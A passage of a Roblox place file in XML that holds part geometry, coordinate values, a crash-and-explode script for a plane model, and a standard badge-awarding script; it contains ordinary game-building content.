										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4742">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39</X>
										<Y>3.4000001</Y>
										<Z>25</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4743">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39.0010185</X>
										<Y>3.3997798</Y>
										<Z>24.9911938</Z>
										<R00>-0.99999994</R00>
										<R01>0.000186429679</R01>
										<R02>1.11511627e-005</R02>
										<R10>0.000186395555</R10>
										<R11>0.99999553</R11>
										<R12>-0.00298590376</R12>
										<R20>-1.17077734e-005</R20>
										<R21>-0.00298590143</R21>
										<R22>-0.99999547</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4744">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>3.4000001</Y>
										<Z>22</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4745">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.2761459</X>
										<Y>3.40201283</Y>
										<Z>22.0097637</Z>
										<R00>-0.999553263</R00>
										<R01>5.512195e-007</R01>
										<R02>-0.0298918113</R02>
										<R10>0.000101758887</R10>
										<R11>0.999994278</R11>
										<R12>-0.00338427839</R12>
										<R20>0.0298916381</R20>
										<R21>-0.00338580762</R21>
										<R22>-0.999547482</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4746">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.2763252</X>
										<Y>3.40205336</Y>
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									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
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							</Item>
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								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39.9999847</X>
										<Y>0.587466061</Y>
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										<R00>-1</R00>
										<R01>1.97677792e-007</R01>
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										<R11>1</R11>
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										<R20>-1.78592461e-006</R20>
										<R21>-0.000104685481</R21>
										<R22>-1</R22>
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								</Properties>
							</Item>
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								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>1.49999976</Y>
										<Z>50.0000038</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4750">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
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										<Y>0.587445974</Y>
										<Z>49.8706284</Z>
										<R00>-0.999999762</R00>
										<R01>-8.67631741e-007</R01>
										<R02>0.000534849358</R02>
										<R10>-9.23285768e-007</R10>
										<R11>1</R11>
										<R12>-0.000104055194</R12>
										<R20>-0.0005348493</R20>
										<R21>-0.000104055674</R21>
										<R22>-0.999999762</R22>
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								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4751">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0166321</X>
										<Y>0.587435484</Y>
										<Z>49.8704033</Z>
										<R00>-0.999999762</R00>
										<R01>-8.10844767e-007</R01>
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										<R10>-8.67798576e-007</R10>
										<R11>1</R11>
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										<R20>-0.000534857623</R20>
										<R21>-0.000106484331</R21>
										<R22>-0.999999762</R22>
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								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4752">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
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										<Z>49.8706627</Z>
										<R00>-0.999999762</R00>
										<R01>-7.95644098e-007</R01>
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										<R10>-8.51566881e-007</R10>
										<R11>1</R11>
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										<R20>-0.00053485058</R20>
										<R21>-0.000104557912</R21>
										<R22>-0.999999762</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4753">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>0.58761394</Y>
										<Z>48.9996223</Z>
										<R00>-1</R00>
										<R01>-3.70835937e-006</R01>
										<R02>1.24828432e-006</R02>
										<R10>-3.70848943e-006</R10>
										<R11>1</R11>
										<R12>-0.000104195482</R12>
										<R20>-1.24789801e-006</R20>
										<R21>-0.000104195482</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4754">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61.9999962</X>
										<Y>0.587442398</Y>
										<Z>-1.99999487</Z>
										<R00>-1</R00>
										<R01>5.10271256e-008</R01>
										<R02>-3.12887749e-007</R02>
										<R10>5.10603648e-008</R10>
										<R11>1</R11>
										<R12>-0.000106234533</R12>
										<R20>3.12882349e-007</R20>
										<R21>-0.000106234533</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4755">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-60.9999924</X>
										<Y>0.587450445</Y>
										<Z>44.9997063</Z>
										<R00>-1</R00>
										<R01>-1.8421963e-006</R01>
										<R02>8.71701644e-008</R02>
										<R10>-1.84220539e-006</R10>
										<R11>1</R11>
										<R12>-0.000104545405</R12>
										<R20>-8.69775647e-008</R20>
										<R21>-0.000104545405</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4756">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0015564</X>
										<Y>0.58744067</Y>
										<Z>48.9997025</Z>
										<R00>-1</R00>
										<R01>-7.31433011e-006</R01>
										<R02>-0.000118872398</R02>
										<R10>-7.30176271e-006</R10>
										<R11>1</R11>
										<R12>-0.00010572288</R12>
										<R20>0.000118873169</R20>
										<R21>-0.000105722007</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4757">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0018158</X>
										<Y>0.587441862</Y>
										<Z>48.9996147</Z>
										<R00>-1</R00>
										<R01>-1.37073516e-006</R01>
										<R02>-0.000118808559</R02>
										<R10>-1.35804521e-006</R10>
										<R11>1</R11>
										<R12>-0.000106809879</R12>
										<R20>0.000118808704</R20>
										<R21>-0.000106809719</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4758">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-8.00003242</X>
										<Y>0.587818563</Y>
										<Z>50.0003395</Z>
										<R00>-1</R00>
										<R01>-1.75692639e-006</R01>
										<R02>6.97683959e-007</R02>
										<R10>-1.75699711e-006</R10>
										<R11>1</R11>
										<R12>-0.000101288613</R12>
										<R20>-6.97506039e-007</R20>
										<R21>-0.000101288613</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4759">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61.0000038</X>
										<Y>0.587436497</Y>
										<Z>44.9996414</Z>
										<R00>-1</R00>
										<R01>-5.68796992e-008</R01>
										<R02>6.16590967e-007</R02>
										<R10>-5.69461847e-008</R10>
										<R11>1</R11>
										<R12>-0.000107826345</R12>
										<R20>-6.16584828e-007</R20>
										<R21>-0.000107826345</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4760">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61</X>
										<Y>0.587442815</Y>
										<Z>44.9999046</Z>
										<R00>-1</R00>
										<R01>-8.54980726e-007</R01>
										<R02>6.00005762e-007</R02>
										<R10>-8.55043709e-007</R10>
										<R11>1</R11>
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										<R20>-5.99916063e-007</R20>
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										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4761">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61</X>
										<Y>0.587445378</Y>
										<Z>44.9997292</Z>
										<R00>-1</R00>
										<R01>-5.65095149e-007</R01>
										<R02>7.01111844e-007</R02>
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										<R11>1</R11>
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										<R20>-7.01051817e-007</R20>
										<R21>-0.000106278429</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4762">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-60.9999962</X>
										<Y>0.587446868</Y>
										<Z>44.9994392</Z>
										<R00>-1</R00>
										<R01>-1.17984871e-006</R01>
										<R02>4.76039276e-007</R02>
										<R10>-1.17989941e-006</R10>
										<R11>1</R11>
										<R12>-0.00010648786</R12>
										<R20>-4.75913652e-007</R20>
										<R21>-0.00010648786</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX4763">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local boom = false

function createExplosion(position)

explosion = Instance.new(&quot;Explosion&quot;)
explosion.Position = position
explosion.BlastRadius = 12
explosion.Parent = game.Workspace

end

function onTouch(part)
	if boom == true then return end
	if (part.Name == &quot;&quot;) or (part.Name == &quot;Safe&quot;) or (part.Parent.Parent.Parent == script.Parent) or (part.Parent:findFirstChild(&quot;Humanoid&quot;)) then return end
	if (script.Parent.Parts.Tip.Velocity.x &gt; 50) or (script.Parent.Parts.Tip.Velocity.x &lt; -50) or (script.Parent.Parts.Tip.Velocity.z &gt; 50) or (script.Parent.Parts.Tip.Velocity.z &lt; -50) then
	boom = true
	createExplosion(script.Parent.Parts.Engine.Position)
	script.Parent:BreakJoints()
	local stuff = script.Parent:children()
	for i=1,#stuff do
		if stuff[i].Name == &quot;BodyKit&quot; or
		stuff[i].Name == &quot;Parts&quot; then
		local parts = stuff[i]:children()
			for p = 1, #parts do
				if parts[p].className == &quot;Part&quot; then
				local velo = Instance.new(&quot;BodyVelocity&quot;)
				velo.maxForce = Vector3.new(9.9e+036, 9.9e+036, 9.9e+036)
				velo.velocity = Vector3.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
				velo.Parent = parts[p]
				end
			end
		end
	end
	wait(4)
	script.Parent:remove()
	end
end

script.Parent.Parts.Tip.Touched:connect(onTouch)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX4764">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">PlaneCheck</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX4765">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">Stunt</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="Model" referent="RBX4766">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">BodyParts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX4767">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1137.40002</X>
										<Y>10.8000441</Y>
										<Z>894.5</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00122957281</X>
										<Y>0.0069294651</Y>
										<Z>0.00462743454</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>1.60000002</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX4768">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX4769">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1137.40002</X>
										<Y>10.8000441</Y>
										<Z>897.5</Z>
										<R00>-1</R00>
										<R01>-0</R01>
										<R02>-0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-0</R20>
										<R21>-0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
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									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.0018852707</X>
										<Y>0.0069294651</Y>
										<Z>0.00297876447</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>1.60000002</Y>
										<Z>8</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX4861">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1137.40002</X>
										<Y>7.80004406</Y>
										<Z>896</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>-0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00219302834</X>
										<Y>0.0053838375</Y>
										<Z>0.00153617933</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.400000006</Y>
										<Z>8</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX4862">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1116</X>
					<Y>26.6000004</Y>
					<Z>809</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>108</X>
					<Y>1.20000005</Y>
					<Z>142</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX4863">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1111.5</X>
					<Y>3.79999995</Y>
					<Z>797</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Base</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>236</X>
					<Y>6</Y>
					<Z>155</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX4864">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-1094</X>
					<Y>8.60000038</Y>
					<Z>706</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX4865">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4866">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX4867">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX4868">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1003</X>
					<Y>12.6000004</Y>
					<Z>914</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
